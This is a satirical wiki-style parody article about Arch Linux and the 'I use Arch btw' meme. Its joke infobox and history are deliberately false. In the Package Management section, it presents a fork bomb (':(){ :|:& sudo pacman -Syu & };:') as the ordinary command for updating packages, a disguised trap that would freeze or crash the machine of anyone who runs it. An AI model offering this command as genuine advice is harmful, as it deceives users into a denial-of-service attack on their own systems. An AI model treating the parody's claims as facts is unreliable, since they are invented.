ArchLinux

Arch Linux
The average Arch Linux user.
OS family	Linux
Kernel Type	PopCorn
Latest release	23 years ago
lead developing Noob	Some nerd

“I use Arch by the way.”

~ Literally anyone who uses ArchLinux

Arch Linux is an open source rolling release Linux distribution. The target audience is people who think using a simple operation system is stupid when you can download an over complicated barebones OS. If you're unsure whether someone uses Arch Linux, they probably don't, as they would have told you by now. Arch Linux meant to be minimal and is meant to be confirmed by the user to add only what they need. This makes Arch very hard to use and why people say, “I use arch by the way.”

History

Some nerd decided that having the computer come with features was impractical. So he decided you should choose only what you need (he was just being really lazy) so your computer could run faster. This set off the events that led up to cringe memes and people screaming, “I USE ARCH BY THE WAY!”

Installation

Installing Arch is much harder than installing windows or Mac. First you need to obtain ISO images from the official website, erase your drives of any lesser Linux distribution and mount partitions appropriately. Then, run the most important command of your life:

pacstrap -K /mnt base linux linux-firmware neofetch fastfetch screenfetch uwufetch hyfetch scrot

Then, you realize you Arch Linux is beyond your comprehension, admit defeat, and reinstall an inferior Linux distribution.

Package Management

Arch Linux comes with Pac-man installed. Pac-Man on Arch doesn’t eat ghost’s instead he eats your packages and installs software. To use Pac-man you need to command him by yelling this at him:

:(){ :|:& sudo pacman -Syu & };:

Pac-man will then proceed to install the software below onto your computer:

• neofetch
• fastfetch (successor to neofetch)
• uwufetch
• screenfetch
• hyfetch
• hyprland
• hyprshot
• neovim

What Isn't Arch Linux

Many people believe using an Arch derivative is the same as using Arch. This is wrong. If you have installed Manjaro, doesn't mean you get to say "i use arch btw". Only people who have installed Arch Linux manually may utter the sacred motto (looking at you, archinstall users).

To reduce confusion, here is a short, non-conclusive list of Arch-based distributions which do not give you permission to say "I use arch btw".

• Manjaro
• CachyOS
• SteamOS
• Asahi Linux

However, there are some Arch-based Linux distributions which are deserving enough to be granted the privelage of speaking the precious words. These include:

• Arch Linux 32
• Arch Linux ARM
• Parabola